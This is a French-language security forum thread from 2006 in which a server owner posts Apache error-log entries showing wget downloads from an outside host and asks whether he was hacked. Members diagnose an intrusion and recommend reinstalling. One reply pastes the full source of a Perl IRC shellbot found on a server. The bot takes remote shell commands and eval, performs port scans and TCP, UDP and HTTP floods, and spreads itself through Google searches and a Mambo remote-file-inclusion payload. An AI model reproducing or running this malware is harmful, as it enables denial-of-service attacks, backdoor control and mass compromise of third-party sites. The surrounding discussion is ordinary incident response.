Piraté ou pas ?

Forum sur la sécurité des réseaux, la configuration des firewalls, la mise en place de protections contre les attaques, de DMZ, de systèmes anti-intrusion ...

Modérateur: modos Ixus

Piraté ou pas ?

Messagepar ngaixus » 02 Juin 2006 13:11

Bonjour, à vous les pros de m'aider s'il vous plait car j'ai des doutes si vraiment mon dédié n'a pas été piraté ou qu'on essaye de piraté, dans le fichier error_log j'ai vue ceci hier et aujourd'hui et à vrai je ne comprend pas trop.
ça, c'est hier que je l'ai vue:
[Wed May 31 15:22:01 2006] [error] [client 68.142.250.76] File does not exist: /usr/share/psa-horde/robots.txt
--18:46:38-- http://www.dougpoer.com/r.txt
=> `r.txt'
Resolving www.dougpoer.com... 63.246.151.128
Connecting to www.dougpoer.com[63.246.151.128]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 214 [text/plain]

0K 100% 2.04 MB/s

18:46:39 (2.04 MB/s) - `r.txt' saved [214/214]

--18:46:39-- http://www.dougpoer.com/geraw.txt
=> `geraw.txt'
Resolving www.dougpoer.com... 63.246.151.128
Connecting to www.dougpoer.com[63.246.151.128]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1,427 [text/plain]

0K . 100% 13.61 MB/s

18:46:39 (13.61 MB/s) - `geraw.txt' saved [1,427/1,427]

--18:46:39-- http://www.dougpoer.com/sc.txt
=> `sc.txt'
Resolving www.dougpoer.com... 63.246.151.128
Connecting to www.dougpoer.com[63.246.151.128]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2,859 [text/plain]

0K .. 100% 22.61 KB/s

18:46:40 (22.61 KB/s) - `sc.txt' saved [2,859/2,859]

--18:46:40-- http://www.dougpoer.com/google.txt
=> `google.txt'
Resolving www.dougpoer.com... 63.246.151.128
Connecting to www.dougpoer.com[63.246.151.128]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1,662 [text/plain]

0K . 100% 105.67 MB/s

18:46:40 (105.67 MB/s) - `google.txt' saved [1,662/1,662]

sh: -c: line 1: syntax error near unexpected token `('
sh: -c: line 1: `perl google.txt abrecanal(canal)'
sh: -c: line 1: syntax error near unexpected token `('
sh: -c: line 1: `perl google.txt abreprograma(programa)'
[Wed May 31 19:20:24 2006] [error] [client 65.120.133.3] File does not exist:

et ça aujourd'hui :
[Fri Jun 02 01:06:42 2006] [error] [client 66.249.65.6] File does not exist: /usr/share/psa-horde/robots.txt
/: Unsupported scheme.
sh: line 1: CD: command not found
sh: line 1: WGET: command not found
--04:29:31-- http://www.dougpoer.com/gg
=> `gg'
Resolving www.dougpoer.com... 63.246.151.128
Connecting to www.dougpoer.com[63.246.151.128]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1,519 [text/plain]

0K . 100% 14.49 MB/s

04:29:32 (14.49 MB/s) - `gg' saved [1,519/1,519]

sh: -c: line 1: syntax error near unexpected token `('
sh: -c: line 1: `perl google.txt abrecanal(canal)'
sh: -c: line 1: syntax error near unexpected token `('
sh: -c: line 1: `perl google.txt abreprograma(programa)'
[Fri Jun 02 06:45:44 2006] [error] [client 217.33.219.194] File does not e



et voici le site dont j'ignore ce que l'adresse fait sur ce fichier error_log
http://www.dougpoer.com/ et aussi ça fait deux fois que mon serveur plante ce qui n'etait jamais passé auparavant, je suis obligé de passer par la console d'administration sur le site de l'hebergeur pour rebooter et mettre la machine en marche.
alors j'ai été piraté ou pas ?[/quote]
ngaixus
Quartier Maître
Quartier Maître
 
Messages: 14
Inscrit le: 24 Mai 2006 17:13

Messagepar Muzo » 02 Juin 2006 14:07

Merci de préciser la version de SME server que vous utilisez, ainsi que la version de Horde.
/Muzo
"La vie n'est pas un combat, mais une passion à défendre!" MASS HYSTERIA - Knowledge is power
Avatar de l’utilisateur
Muzo
Amiral
Amiral
 
Messages: 5236
Inscrit le: 07 Mai 2003 00:00
Localisation: BNF! Je me culturise.

Messagepar ngaixus » 02 Juin 2006 16:22

Bah j'ai donc pas posté au bon endroit car j'utilise pas un serveur SME mais je suis sur un dédié Fedora core 2.
ngaixus
Quartier Maître
Quartier Maître
 
Messages: 14
Inscrit le: 24 Mai 2006 17:13

Messagepar S0l0 » 02 Juin 2006 17:15

Moi je dirais un script kiddies( d'espagne espece rare lol ) vu le CD et WGET (majuscule) qui tend a dire que cette personne ne connait pas le shell et les shell -c qu'il ne semble pas non plus comprendre .
De plus le(s) site(s) semble etre une facade en le visitant il n'y a rien vide pas la moindre info ; as-tu fais une sauvegarde de ses dits fichiers qui a l'air d'avoir ete uploader sor ton site.
T'es tu poser la question par quelle moyen as-t-il eue acces au shell :-k , ton site n'est - il pas backdorrer ( il existe des backdoor web pour ceux qui poserait la question ) as-tu changer de mot de passe lors de la constatation , as-tu bien pensee a TOUT sauvegarder ...

--edit
fallait poster dans securite et reseaux
Avatar de l’utilisateur
S0l0
Contre-Amiral
Contre-Amiral
 
Messages: 407
Inscrit le: 01 Déc 2005 20:52
Localisation: 21 55

Messagepar HaM » 02 Juin 2006 19:08

j'ai déjà eu ce type d'attaque.
Je pense qu'il exploitent une faille (que je ne connais pas) d'Apache pour pouvoir prendre les droits de ce dit demon et executer les commandes en question.
Perso il y avait eu un wget pour rapatrier un fichier perl sur mon serveur dans le /tmp.
Par contre pas d'éxecution de celui-ci.
Depuis, mon serveur (derrière un FireWall) ne peut plus accéder au net (IpTables power !) et je n'ai plus aucun pb.
Mais j'ai bien épluché tout les log et est fait des vérif pour être sur que rien n'est changé.

:D
Avatar de l’utilisateur
HaM
Amiral
Amiral
 
Messages: 1045
Inscrit le: 31 Juil 2002 00:00
Localisation: Boulogne-Billancourt 92

Messagepar HaM » 02 Juin 2006 19:11

Voila le code du fichier google.txt qui à débarqué sur mon serveur :
Code: Tout sélectionner
#!/usr/bin/perl
# This code is based on atrix (brazil) shellbot, somebody ripped all the credits, but its obviusly a rip.
# so the original author is atrix. the spread perl code was developed by sirhot (i am almost  sure) he is from morocco.
# Note to David Jacoby: Expect a few improvements for the next release.
#
# The following comments are only left in the code to ridiculize this guy.
# ------------------------------------------------------------------------
# Morgan has hacked you!
# Morgan Argentina, santiago del estero
# http://irc.irc-argentina.org/x.conf
# http://img521.imageshack.us/img521/3779/morganlammer6tu.png
# -----------------------------------------------------------------------
#
#        Serbian version modified by Eiswuerfel
#        irc.ircnet.net
#
#        AT LEAST:
#        a great thx to atarix and sirhot!!!!!!! YOU ARE MY HEROS!!!!!!
#
# ------------------------------------------------------------------------
my $processo = '[inetd]';
system("kill -9 `ps ax |grep kotfare |grep -v grep|awk '{print $1;}'`");
# morgan the code that you need to rip ends here
my $linas_max='999';
my $sleep='5';
my @adms=("nimr0d","Eiswuerfel","Al_WeRsUs","amanda");
my @canais=("##!google!## g00glezet");
my $nick='google|';
my $ircname ='google';
chop (my $realname = 'Google Crew');
$servidor='irc.sise.cjb.net' unless $servidor;
my $porta='8080';
my $VERSAO = '0.5';
$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';
use Fcntl qw(:DEFAULT :flock);
use IO::Socket;
use Socket;
use IO::Select;
open(FH, ">>/tmp/.tmp.4677") or die("cannot open file\n");
flock(FH, LOCK_EX | LOCK_NB) or die("cannot obtain lock\n");
chdir("/");
$servidor="$ARGV[0]" if $ARGV[0];
$0="$processo"."\0"x16;;
my $pid=fork;
exit if $pid;
die "Problema com o fork: $!" unless defined($pid);
our %irc_servers;
our %DCC;
my $dcc_sel = new IO::Select->new();
$sel_cliente = IO::Select->new();
sub sendraw {
  if ($#_ == '1') {
    my $socket = $_[0];
    print $socket "$_[1]\n";
  } else {
      print $IRC_cur_socket "$_[0]\n";
  }
}
sub conectar {
   my $meunick = $_[0];
   my $servidor_con = $_[1];
   my $porta_con = $_[2];
   my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);
   if (defined($IRC_socket)) {
     $IRC_cur_socket = $IRC_socket;
     $IRC_socket->autoflush(1);
     $sel_cliente->add($IRC_socket);
     $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
     $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
     $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
     $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
     nick("$meunick");
     sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
     sleep 1;
   }
}
my $line_temp;
while( 1 ) {
   while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
   delete($irc_servers{''}) if (defined($irc_servers{''}));
   my @ready = $sel_cliente->can_read(0);
   next unless(@ready);
   foreach $fh (@ready) {
     $IRC_cur_socket = $fh;
     $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
     $nread = sysread($fh, $msg, 4096);
     if ($nread == 0) {
        $sel_cliente->remove($fh);
        $fh->close;
        delete($irc_servers{$fh});
     }
     @lines = split (/\n/, $msg);
     for(my $c=0; $c<= $#lines; $c++) {
       $line = $lines[$c];
       $line=$line_temp.$line if ($line_temp);
       $line_temp='';
       $line =~ s/\r$//;
       unless ($c == $#lines) {
         parse("$line");
       } else {
           if ($#lines == 0) {
             parse("$line");
           } elsif ($lines[$c] =~ /\r$/) {
               parse("$line");
           } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
               parse("$line");
           } else {
               $line_temp = $line;
           }
       }
      }
   }
}

sub parse {
   my $servarg = shift;
   if ($servarg =~ /^PING \:(.*)/) {
     sendraw("PONG :$1");
   } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
       my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
       if ($args =~ /^\001VERSION\001$/) {
         notice("$pn", "\001VERSION - google scan dr0ne v2.9\001");
       }
       if (grep {$_ =~ /^\Q$pn\E$/i } @adms) {
         if ($onde eq "$meunick"){
           shell("$pn", "$args");
         }
         if ($args =~ /^(\Q$meunick\E|\!say)\s+(.*)/ ) {
            my $natrix = $1;
            my $arg = $2;
            if ($arg =~ /^\!(.*)/) {
              ircase("$pn","$onde","$1") unless ($natrix eq "!bot" and $arg =~ /^\!nick/);
            } elsif ($arg =~ /^\@(.*)/) {
                $ondep = $onde;
                $ondep = $pn if $onde eq $meunick;
                bfunc("$ondep","$1");
            } else {
                shell("$onde", "$arg");
            }
         }
       }
   }
    elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
       if (lc($1) eq lc($meunick)) {
         $meunick=$4;
         $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
       }
   } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
       nick("$meunick|".int rand(999999));
   } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
       $meunick = $2;
       $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
       $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
       foreach my $canal (@canais) {
         sendraw("JOIN $canal ddosit");
       }
   }
}
sub bfunc {
  my $printl = $_[0];
  my $funcarg = $_[1];
  if (my $pid = fork) {
     waitpid($pid, 0);
  } else {
      if (fork) {
         exit;
       } else {
           if ($funcarg =~ /^portscan (.*)/) {
             my $hostip="$1";
             my @portas=("21","22","23","25","80","113","135","445","1025","5000","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","8080","8018");
             my (@aberta, %porta_banner);
        sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[SCAN]\002 Skeniram ".$1." na otvorene portove.");     
             foreach my $porta (@portas)  {
                my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
                if ($scansock) {
                   push (@aberta, $porta);
                   $scansock->close;
                }
             }
             if (@aberta) {
               sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[SCAN]\002 Otvoreni portovi su: @aberta");
             } else {
               sendraw($IRC_cur_socket,"PRIVMSG $printl :\002[SCAN]\002 Gay-u, nema ni jedan otvoren port");
             }
           }
           if ($funcarg =~ /^tcpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
        sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[TCP]\002 Dekam ".$1.":".$2." na duzini od ".$3." sekundi.");
        my $itime = time;
        my ($cur_time);
             $cur_time = time - $itime;
        while ($3>$cur_time){
             $cur_time = time - $itime;
        &tcpflooder("$1","$2","$3");
             }
        sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[TCP]\002 SVE TE JEBLO, zavrsio sam napad na ".$1.":".$2.".");
           }
      if ($funcarg =~ /^version/) {
      sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[VERSION]\002 perlb0t ver ".$VERSAO);         
      }
           if ($funcarg =~ /^google\s+(\d+)\s+(.*)/) {
        sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[Google]\002 Skeniram jebeni net na unpatched mambo - duzina ".$1." sekundi.");
        srand;
        my $itime = time;
        my ($cur_time);
        my ($exploited);
        $boturl=$2;
             $cur_time = time - $itime;$exploited = 0;
      while($1>$cur_time){
          $cur_time = time - $itime;
          @urls=fetch();
         foreach $url (@urls) {
         $cur_time = time - $itime;
         my $path = "";my $file = "";($path, $file) = $url =~ /^(.+)\/(.+)$/;
         $url =$path."/index.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=$boturl?";
         $page = http_query($url);
         $exploited = $exploited + 1;
          }
      }
        sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[GOOGLE]\002 Exploitisano ".$exploited." boxova u ".$1." sekundi.");
           }
           if ($funcarg =~ /^httpflood\s+(.*)\s+(\d+)/) {
        sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[HTTP]\002 Dekam ".$1.":80 na duzini od ".$2." sekundi.");
        my $itime = time;
        my ($cur_time);
             $cur_time = time - $itime;
        while ($2>$cur_time){
             $cur_time = time - $itime;
        my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>80);
             print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
        close($socket);
             }
        sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[HTTP]\002 Sve te jeblo, prosvirao sam kroz net ".$1.".");
           }
           if ($funcarg =~ /^udpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
             sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[UDP]\002 DDosujem ".$1." sa ".$2." Kb paketa na duzini od ".$3." sekundi.");
             my ($dtime, %pacotes) = udpflooder("$1", "$2", "$3");
             $dtime = 1 if $dtime == 0;
             my %bytes;
             $bytes{igmp} = $2 * $pacotes{igmp};
             $bytes{icmp} = $2 * $pacotes{icmp};
             $bytes{o} = $2 * $pacotes{o};
             $bytes{udp} = $2 * $pacotes{udp};
             $bytes{tcp} = $2 * $pacotes{tcp};
             sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[UDP]\002 Prosvirano kroz net... ".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)." Kb u ".$dtime." sekundi na ".$1.".");
           }
           exit;
       }
  }
}

sub ircase {
  my ($kem, $printl, $case) = @_;
  if ($case =~ /^join (.*)/) {
     j("$1");
   }
   if ($case =~ /^part (.*)/) {
      p("$1");
   }
   if ($case =~ /^rejoin\s+(.*)/) {
      my $chan = $1;
      if ($chan =~ /^(\d+) (.*)/) {
        for (my $ca = 1; $ca <= $1; $ca++ ) {
          p("$2");
          j("$2");
        }
      } else {
          p("$chan");
          j("$chan");
      }
   }
   if ($case =~ /^op/) {
      op("$printl", "$kem") if $case eq "op";
      my $oarg = substr($case, 3);
      op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
   }
   if ($case =~ /^deop/) {
      deop("$printl", "$kem") if $case eq "deop";
      my $oarg = substr($case, 5);
      deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
   }
   if ($case =~ /^msg\s+(\S+) (.*)/) {
      msg("$1", "$2");
   }
   if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
      for (my $cf = 1; $cf <= $1; $cf++) {
        msg("$2", "$3");
      }
   }
   if ($case =~ /^ctcp\s+(\S+) (.*)/) {
      ctcp("$1", "$2");
   }
   if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
      for (my $cf = 1; $cf <= $1; $cf++) {
        ctcp("$2", "$3");
      }
   }
   if ($case =~ /^nick (.*)/) {
      nick("$1");
   }
   if ($case =~ /^connect\s+(\S+)\s+(\S+)/) {
       conectar("$2", "$1", 6667);
   }
   if ($case =~ /^raw (.*)/) {
      sendraw("$1");
   }
   if ($case =~ /^eval (.*)/) {
     eval "$1";
   }
}
sub shell {
  my $printl=$_[0];
  my $comando=$_[1];
  if ($comando =~ /cd (.*)/) {
    chdir("$1") || msg("$printl", "Fajl ili direktorium ne postoji gay-u jedan smotani");
    return;
  }
  elsif ($pid = fork) {
     waitpid($pid, 0);
  } else {
      if (fork) {
         exit;
       } else {
           my @resp=`$comando 2>&1 3>&1`;
           my $c=0;
           foreach my $linha (@resp) {
             $c++;
             chop $linha;
             sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
             if ($c == "$linas_max") {
               $c=0;
               sleep $sleep;
             }
           }
           exit;
       }
  }
}
sub tcpflooder {
my $itime = time;
my ($cur_time);
my ($ia,$pa,$proto,$j,$l,$t);
$ia=inet_aton($_[0]);
$pa=sockaddr_in($_[1],$ia);
$ftime=$_[2];
$proto=getprotobyname('tcp');
$j=0;$l=0;
$cur_time = time - $itime;
while ($l<1000){
  $cur_time = time - $itime;
  last if $cur_time >= $ftime;
  $t="SOCK$l";
  socket($t,PF_INET,SOCK_STREAM,$proto);
  connect($t,$pa)||$j--;
  $j++;$l++;
}
$l=0;
while ($l<1000){
  $cur_time = time - $itime;
  last if $cur_time >= $ftime;
  $t="SOCK$l";
  shutdown($t,2);
  $l++;
}
}
sub udpflooder {
  my $iaddr = inet_aton($_[0]);
  my $msg = 'A' x $_[1];
  my $ftime = $_[2];
  my $cp = 0;
  my (%pacotes);
  $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
 
  socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
  socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  return(undef) if $cp == 4;
  my $itime = time;
  my ($cur_time);
  while ( 1 ) {
     for (my $porta = 1; $porta <= 65000; $porta++) {
       $cur_time = time - $itime;
       last if $cur_time >= $ftime;
       send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++;
       send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++;
       send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++;
       send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++;
       for (my $pc = 3; $pc <= 255;$pc++) {
         next if $pc == 6;
         $cur_time = time - $itime;
         last if $cur_time >= $ftime;
         socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
         send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++;
       }
     }
     last if $cur_time >= $ftime;
  }
  return($cur_time, %pacotes);
}
sub ctcp {
   return unless $#_ == 1;
   sendraw("PRIVMSG $_[0] :\001$_[1]\001");
}
sub msg {
   return unless $#_ == 1;
   sendraw("PRIVMSG $_[0] :$_[1]");

sub notice {
   return unless $#_ == 1;
   sendraw("NOTICE $_[0] :$_[1]");
}
sub op {
   return unless $#_ == 1;
   sendraw("MODE $_[0] +o $_[1]");
}
sub deop {
   return unless $#_ == 1;
   sendraw("MODE $_[0] -o $_[1]");
}
sub j { &join(@_); }
sub join {
   return unless $#_ == 0;
   sendraw("JOIN $_[0]");
}
sub p { part(@_); }
sub part {
  sendraw("PART $_[0]");
}
sub nick {
  return unless $#_ == 0;
  sendraw("NICK $_[0]");
}
sub quit {
  sendraw("QUIT :$_[0]");
}
# Spreader
# this 'spreader' code isnot mine, i dont know who coded it.
# update: well, i just fix0red this shit a bit.
#
sub fetch(){
    my $rnd=(int(rand(9999)));
    my $n= 80;
    if ($rnd<5000) { $n<<=1;}
    my $s= (int(rand(10)) * $n);
my @dominios = ("com","net","org","info","gov", "gob","gub","xxx", "eu","mil","edu","aero","name","us","ca","mx","pa","ni","cu","pr","ve","co","pe","ec",
      "py","cl","uy","ar","br","bo","au","nz","cz","kr","jp","th","tw","ph","cn","fi","de","es","pt","ch","se","su","it","gr","al","dk","pl","biz","int","pro","museum","coop",
      "af","ad","ao","ai","aq","ag","an","sa","dz","ar","am","aw","at","az","bs","bh","bd","bb","be","bz","bj","bm","bt","by","ba","bw","bn","bg","bf","bi",
      "vc","kh","cm","td","cs","cy","km","cg","cd","dj","dm","ci","cr","hr","kp","eg","sv","aw","er","sk",
      "ee","et","ge","fi","fr","ga","gs","gh","gi","gb","uk","gd","gl","gp","gu","gt","gg","gn","gw","gq","gy","gf","ht","nl","hn","hk","hu","in","id","ir",
      "iq","ie","is","ac","bv","cx","im","nf","ky","cc","ck","fo","hm","fk","mp","mh","pw","um","sb","sj","tc","vg","vi","wf","il","jm","je","jo","kz","ke",
      "ki","kg","kw","lv","ls","lb","ly","lr","li","lt","lu","mo","mk","mg","my","mw","mv","ml","mt","mq","ma","mr","mu","yt","md","mc","mn","ms","mz","mm",
      "na","nr","np","ni","ne","ng","nu","no","nc","om","pk","ps","pg","pn","pf","qa","sy","cf","la","re","rw","ro","ru","eh","kn","ws","as","sm","pm","vc",      
      "sh","lc","va","st","sn","sc","sl","sg","so","lk","za","sd","se","sr","sz","rj","tz","io","tf","tp","tg","to","tt","tn","tr","tm","tv","ug","ua","uz",
      "vu","vn","ye","yu","cd","zm","zw","");
my @str;
foreach $dom  (@dominios)
{
   push (@str,"%22option=com_content%22+site%3A".$dom."%20",
"inurl:%22".$dom."/index.php?option=com_content%22");
}
    my $query="www.google.com/search?q=";
    $query.=$str[(rand(scalar(@str)))];
    $query.="&num=$n&start=$s";
    my @lst=();
    my $page = http_query($query);
    while ($page =~  m/<a class=l href=\"?http:\/\/([^>\"]+)\"?>/g){
   if ($1 !~ m/google|cache|translate/){
       push (@lst,$1);
   }
    }
    return (@lst);
}
sub http_query($){
    my ($url) = @_;
    my $host=$url;
    my $query=$url;
    my $page="";
    $host =~ s/href=\"?http:\/\///;
    $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
    $query =~s/$host//;
    if ($query eq "") {$query="/";};
    eval {
   local $SIG{ALRM} = sub { die "1";};
   alarm 10;
   my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
   print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
   my @r = <$sock>;
   $page="@r";
   alarm 0;
   close($sock);
    };   
    return $page;
}
Avatar de l’utilisateur
HaM
Amiral
Amiral
 
Messages: 1045
Inscrit le: 31 Juil 2002 00:00
Localisation: Boulogne-Billancourt 92

Messagepar S0l0 » 02 Juin 2006 20:44

pour HaM ca a l'air d'etre un bot irc flooder cense offir en plus un shell , et si je me trompe pas il y en a deux dans ta team de jean kevin adepte de nuclearfallout
my @adms=("nimr0d","Eiswuerfel","Al_WeRsUs","amanda");

et deviner le nom de leur team de jeux je vous le donne en mille google crew
Avatar de l’utilisateur
S0l0
Contre-Amiral
Contre-Amiral
 
Messages: 407
Inscrit le: 01 Déc 2005 20:52
Localisation: 21 55

Messagepar ngaixus » 08 Juin 2006 15:52

on dirait que j'ai été belle et bien piraté, voici le contenue du repertoire tmp/ dont il y'a le fichier google.txt et d'autres que je ne connais pas à part le rkhunter que j'ai moi meme installé.
tmp]# ls -al
total 1264
drwxrwxrwt 6 root root 12288 Jun 8 12:58 .
drwxr-xr-x 21 root root 4096 Jun 8 08:23 ..
-rw-r--r-- 1 root root 312 Jun 8 09:51 autoinstaller.log
drwx------ 2 apache apache 4096 Feb 11 2002 belea
-rw------- 1 apache apache 350063 Dec 24 17:25 flood.tar.gz
drwxrwxrwt 2 xfs xfs 4096 Jun 8 08:24 .font-unix
-rw------- 1 apache apache 1519 Jun 2 03:28 gg
-rw------- 1 apache apache 1701 Jun 1 11:11 google.txt
drwxrwxrwt 2 root root 4096 Jun 8 08:23 .ICE-unix
-rw------- 1 root root 0 Jun 8 09:51 psa-installer.lock
drwxr-xr-x 3 root root 4096 Jun 2 15:40 rkhunter
-rw-r--r-- 1 root root 170732 May 24 2005 rkhunter-1.2.7.tar.gz
-rw------- 1 apache apache 2859 Jun 1 11:11 sc.txt
-rw------- 1 apache apache 700086 Jun 2 10:13 sites.txt
srw-rw-rw- 1 popuser root 0 Jun 8 08:24 spamd_full.sock
srw-rw-rw- 1 popuser root 0 Jun 8 08:24 spamd_light.sock
srwxrwxrwx 1 postgres postgres 0 Jun 8 13:09 .s.PGSQL.5432
-rw------- 1 postgres postgres 25 Jun 8 13:09 .s.PGSQL.5432.lock
-rw------- 1 apache apache 2308 Jun 2 04:29 wlist.txt

est ce qu'il faudrait supprimé tous les fichiers que je ne connais pas ? et aussi je vois un utilisateur xfs que je ne connais pas.
ngaixus
Quartier Maître
Quartier Maître
 
Messages: 14
Inscrit le: 24 Mai 2006 17:13

Messagepar S0l0 » 08 Juin 2006 16:21

ngaixus a écrit:est ce qu'il faudrait supprimé tous les fichiers que je ne connais pas ? et aussi je vois un utilisateur xfs que je ne connais pas.
La seule chose de preconiser dans un cas de piratage c'est la compelete installation , pensait aussi a faire une sauvegarde du systeme pirater en vue d'une action judiciaire , et qui permettra de decouvrir aussi par ou le pirate et passez ca evitera que le probleme ne reapparaisse ( avecc netcat il est possible de faire une sauvegarde distante )
Avatar de l’utilisateur
S0l0
Contre-Amiral
Contre-Amiral
 
Messages: 407
Inscrit le: 01 Déc 2005 20:52
Localisation: 21 55

Messagepar Gandalf » 08 Juin 2006 16:29

Et la deuxième chose à faire S0l0 c'est de respecter notre belle et grande charte et de nous exprimer correctement sans faute d'orthographe ! Et ce n'est pas la première fois ... :?
/G.
Avatar de l’utilisateur
Gandalf
Amiral
Amiral
 
Messages: 1980
Inscrit le: 22 Août 2002 00:00
Localisation: Strasbourg

Messagepar ngaixus » 08 Juin 2006 17:05

Ben là c'est très grave ça, il n'ya vraiment pas d'autres alternative que la réinstallation du systeme ?
et aussi c'est un dédié chez nextlink .
ngaixus
Quartier Maître
Quartier Maître
 
Messages: 14
Inscrit le: 24 Mai 2006 17:13


Retour vers Sécurité et réseaux

Qui est en ligne ?

Utilisateur(s) parcourant actuellement ce forum : Aucun utilisateur inscrit et 0 invité(s)